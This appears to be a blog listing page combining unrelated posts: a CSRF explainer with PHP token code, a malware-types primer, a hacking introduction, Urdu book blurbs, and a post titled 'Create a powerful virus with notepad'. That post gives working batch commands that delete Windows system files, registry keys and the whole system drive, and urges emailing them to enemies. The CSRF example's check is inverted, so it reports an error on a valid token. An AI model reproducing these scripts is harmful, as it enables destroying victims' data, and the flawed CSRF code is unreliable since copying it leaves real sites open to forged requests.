CROSS SITE REQUEST FORGERY: CSRF

Cross Site Request Forgery
I. What Is CSRF?

Cross-Site Request Forgery (also known as CSRF or XSRF attacks) is an attack which allows attackers to execute undesired actions on a web application in which a user currently is authenticated. The attack is possible when the targeted application does not properly validate the origin of the request, and relies only on the existence of a valid session between the victim's browser and the application server.

In the most common scenario of a CSRF attack, a logged-on user will access an additional web page provided by the attacker in another tab of the browser. This page will immediately target a sensitive function within the application – which is still open in another tab – by submitting a specially crafted request. Since the request is submitted from the same browser, the vulnerable application will accept the request and execute the action.

II. Protection:

Proper CSRF protection is based on preventing attackers from being able to create a granular request for actions in a system. A solution to this type of attack is to implement unique random tokens for sensitive forms. For each form submission, the token should be validated on the server side.

As a side note, these tokens should always be submitted using the POST method. They are usually supplied as a hidden form field.

III. PHP Implementation Example:

Generating a secure CSRF token:

function generateCSRFKey($key) {
$token = base64_encode(openssl_random_pseudo_bytes(16));
$_SESSION['csrf_' . $key] = $token;
return $token;
}

You may be tempted to use rand() or uniqid() but they both specifically state that these functions should not be used for generating secure tokens! Also base64_encode() is only used to make sure the value doesn't break any HTML code.

Checking a submitted token is valid:

function checkCSRFKey($key, $value) {
if (!isset($_SESSION['csrf_' . $key]))
return false;
if (!$value)
return false;

if ($_SESSION['csrf_' . $key] !== $value)
return false;

unset($_SESSION['csrf_' . $key]);
return true;
}

The above code can be used to add a unique token to any form using:

<input type="hidden" value="<?=generateCSRFKey('settings');?>" name="token">

Then the first check in the server-side code that handles the form should be that the supplied token is valid:

$token = $_POST['token'];
if (checkCSRFKey('settings', $token)) {
// Handle error
}

Hope, you enjoyed reading this post.

Read More

DIFFERENCE BETWEEN VIRUSES,TROJANS,WORMS & MALWARE

Difference between Viruses, Trojans, Worms and Malware.

I. What is Malware?

The word Malware is short for malicious software, and is a general term used to describe all of the viruses, worms, spyware, and pretty much anything that is specifically designed to cause harm to your PC or steal your information.

II. Viruses --> Wreak Havoc On Your Files

The term computer virus is often used interchangeably with malware, though the two don’t actually have the same meaning. In the strictest sense, a virus is a program that copies itself and infects a PC, spreading from one file to another, and then from one PC to another when the files are copied or shared.

Most viruses attach themselves to executable files, but some can target a master boot record, autorun scripts, MS Office macros, or even in some cases, arbitrary files. Many of these viruses, like CIH, are designed to render your PC completely inoperable, while others simply delete or corrupt your files—the general point is that a virus is designed to cause havoc and break stuff.

You can protect yourself from viruses by making certain your antivirus application is always updated with the latest definitions and avoiding suspicious looking files coming through email or otherwise. Pay special attention to the filename—if the file is supposed to be an mp3, and the name ends in .mp3.exe, you’re dealing with a virus.

III. Spyware --> Steals Your Information

Spyware is any software installed on your PC that collects your information without your knowledge, and sends that information back to the creator so they can use your personal information in some nefarious way. This could include keylogging to learn your passwords, watching your searching habits, changing out your browser home and search pages, adding obnoxious browser toolbars, or just stealing your passwords and credit card numbers.

Since spyware is primarily meant to make money at your expense, it doesn’t usually kill your PC—in fact, many people have spyware running without even realizing it, but generally those that have one spyware application installed also have a dozen more. Once you’ve got that many pieces of software spying on you, your PC is going to become slow.

What many people don’t realize about spyware is that not every antivirus software is designed to catch spyware. You should check with the vendor to make sure the application you are using to protect you from malware is actually checking for spyware as well. If you come across a PC that is already heavily infected, run a combination of MalwareBytes and SuperAntiSpyware to clean it thoroughly.

IV. Trojan Horses --> Install a Backdoor

Trojan horses are applications that look like they are doing something innocuous, but secretly have malicious code that does something else. In many cases, trojans will create a backdoor that allows your PC to be remotely controlled, either directly or as part of a botnet—a network of computers also infected with a trojan or other malicious software. The major difference between a virus and a trojan is that trojans don’t replicate themselves—they must be installed by an unwitting user.

Once your PC has been infected with the trojan, it can be used for any number of nefarious purposes, like a denial of service (DoS) attack against a web site, a proxy server for concealing attacks, or even worse—for sending out buckets of spam. Protection against trojans works the same way as viruses—make sure that your antivirus application is up to date, don’t open suspicious attachments, and think long and hard before you try and use a downloaded crack for Photoshop—that’s one of malware authors’ favorite spots to hide a trojan.

V. Worms --> Infect Through the Network

Computer worms use the network to send copies of themselves to other PCs, usually utilizing a security hole to travel from one host to the next, often automatically without user intervention. Because they can spread so rapidly across a network, infecting every PC in their path, they tend to be the most well-known type ofmalware, although many users still mistakenly refer to them as viruses.

Because worms often exploit a network vulnerability, they are the one type of malware that can be partially prevented by making sure your firewall is enabled and locked down

Read More

CREATE A POWERFUL VIRUS WITH NOTEPAD

Create a powerful virus with notepad

1) Create a powerful virus with notepad (to delete your enemy's data):

STEPS:

1. Open notepad.

2. Copy the following.

3. del c:\WINDOWS \system32\**/q

4. paste it in notepad.

5. and save it as .bat or .cmd 6. eg click save as write: fun.bat

7. Hit enter and your virus is ready never open the file on your own you have created ( because you know what will happen)  have fun send it your enemy's through email....when they open it their data will be deleted. thanks for reading

2) How to create a virus that deactivates an OS:

Here are the stepts you should follow to make the virus:
This virus will stop and prevent a computer from starting up and the only solution would be to reinstall winsows.

Warning : never try it on your computer.

open up notepad and type in the following

del "C:windows\SYSTEM32\bootok"
/Q/S >nul
del "C:windows\SYSTEM32\bootvid.dll"
del "C:windows\SYSTEM32\bootvrfy"

After you type these save it as "any name you want ".bat
Please let me know if it works.

3) Endless Notepads:

All you need to do is to copy the codes , paste it in any notepad or text file, than save the text file with anynam.vbs , and yeah dont forget to change the format from text file to all files.

*NOTE* These codes do not stay on forever, they just stay on until the person shuts off the computer. The registry delete is one that PERMANETLY deletes files on the computer that cannot be recovered. this will DESTROY the computer.

Endless Notepads

*This will pop up endless notepads until the computer freezes and crashes*
Code:

CODE
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

4) Delete Key Registry Files:

All you need to do is to copy the codes , paste it in any notepad or text file, than save the text file with anynam.vbs , and yeah dont forget to change the format from text file to all files.

*NOTE* These codes do not stay on forever, they just stay on until the person shuts off the computer. The registry delete is one that PERMANETLY deletes files on the computer that cannot be recovered. this will DESTROY the computer.
Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)*

Code:

CODE
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been destroyed. Have a nice day.
GOTO MESSAGE

5) The blue screen of Death:

All you need to do is to copy the codes , paste it in any notepad or text file, than save the text file with anynam.vbs , and yeah dont forget to change the format from text file to all files.
*NOTE* These codes do not stay on forever, they just stay on until the person shuts off the computer. The registry delete is one that PERMANETLY deletes files on the computer that cannot be recovered. this will DESTROY the computer.

The blue screen of Death [this might be dangerous]
Code:
CODE
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

                                       

Read More

INTRODUCTION TO HACKING

What is computer hacking? Introduction to Hacking 

What is computer hacking?

In a cyber security world, the person who is able to discover weakness in a system and managed to exploit it to accomplish his goal referred as a Hacker , and the process is referred as Hacking.

Now a days, People started think that hacking is only hijacking Facebook accounts or defacing websites. Yes, it is also part of hacking field but it doesn't mean that it is the main part of hacking.

So what is exactly hacking, what should i do to become a hacker?! Don't worry, you will learn it from Cyber Elite. The main thing you need to become a hacker is self-interest. You should always ready to learn something and learn to create something new.

Now , let me explain about different kind of hackers exist in the cyber security world.

Script Kiddie

Script Kiddies are the persons who use tools , scripts, methods and programs created by real hackers. In a simple word, the one who doesn't know how a system works but still able to exploit it with previously available tools.

White Hat Hacker:

White Hat hackers are good guys who does the hacking for defensing. The main aim of a Whitehat hacker is to improve the security of a system by finding security flaws and fixing it. They work for an organization or individually to make the cyber space more secure.

Cyber Elite will only concentrate on white-hat hacking and help you to learn the Ethical Hacking world.

Black Hat Hacker:

BlackHat hackers are really bad guys , cyber criminals , who have malicious intent. The hackers who steal money, infect systems with malware, etc are referred as BlackHat hackers. They use their hacking skills for illegal purposes.

GreyHat hackers:

The hackers who may work offensively or defensively, depending on the situation. Hackers who don't have malicious intentions but still like to break into third-party system for fun or just for showing the existence of vulnerability.

Hacktivists:

The hackers who use their hacking skills for protesting against injustice and attack a target system and websites to bring the justice. One of the popular hacktivists is Anonymous and RedHack.

Hope you liked this article more beginners tutorials to come till then Stay Tuned With Us 

Read More

Bin Roye Ansoo (novel) By Farhat Ishtiaq

Bin Roye Ansoo 
(Urdu: بن روے آنسو ‎ ; lit: Tears, Without Crying) 
is a novella by Pakistani fiction writer Farhat Ishtiaq, published in 2010. 
Bin Roye Ansoo was first published in Khawateen Digest as a story 
in its complete novel section. In 2010, story was published as a novel 
by Ilm-o-Irfan Publishers.


The story revolves around Saba Shafiq, who is in love with her cousin Irtaza. But he treats her like his best friend, not a love interest. Irtaza then leaves for the US for two years, where he meets Saman Shafiq, who is his cousin and falls in love with her. Saman is Saba’s elder sister, and she was given to her uncle and aunt as a child. Saman’s adoptive parents die in a plane crash which was headed to Germany, and Irtaza brings her back to Pakistan. Upon learning she has an elder sister, Saba is at first overjoyed, but her happiness quickly turns to disdain when she finds out that Irtaza and Saman are in love and are to be married. In a moment of shock and despair after witnessing their marriage and realizing Irtaza is now Saman's, Saba wishes that Saman had died along with her adoptive parents in the plane crash.

Read More

Malomat Tareekh-e-Islam Pdf Urdu Book Free Download - Kutubistan

Free download or read online another worth reading Urdu book "Malomat Tareekh-e-Islam" and increase your general knowledge about the history of Islam in your own Urdu language. "Malomat Tareekh-e-Islam" is the title name of this Urdu book which is compiled by Mr. Shair Ali Shair who is an Urdu author and master of arts and education (M.A & M. Ed). He has authored various other Urdu books about general knowledge in Urdu language. I will soon write a review about those Urdu books of him.

Malomat Tareekh-e-Islam Pdf Urdu book is all about general knowledge. There are a lot of information about the history of Islam in Urdu language. The book will increase your general knowledge because this book is in the shape of questions and their answers so that your general knowledge about Islamic history will be increased. 

General knowledge is very important in case you are looking for a good job because education and other your skills are not the only reasons that will give you a job. In every interview questions regarded general knowledge are asked. This book will increase your Islamic information.

Read More

Rah e kamil by Misbah Chaudhary

Rah e kamil by Misbah Chaudhary is a very famous social

 romantic Urdu novel.It was published in monthly Digest.

Misbah Chaudhary is famous writer who wrote many novels

 in monthly Shuaa Digest , Khwateen Digest and Kiran Digest.

She is very popular in females because of her unique writing style.

She wrote many afsana ,novelts and novels in different digest and 

she has a huge fans following who desperately waits for her novels. 

Rah e kamil by Misbah Chaudhary is available to download and 

online reading. Click the links below to download free online books, 

or free online reading this novel. For better result click on the image.

Read More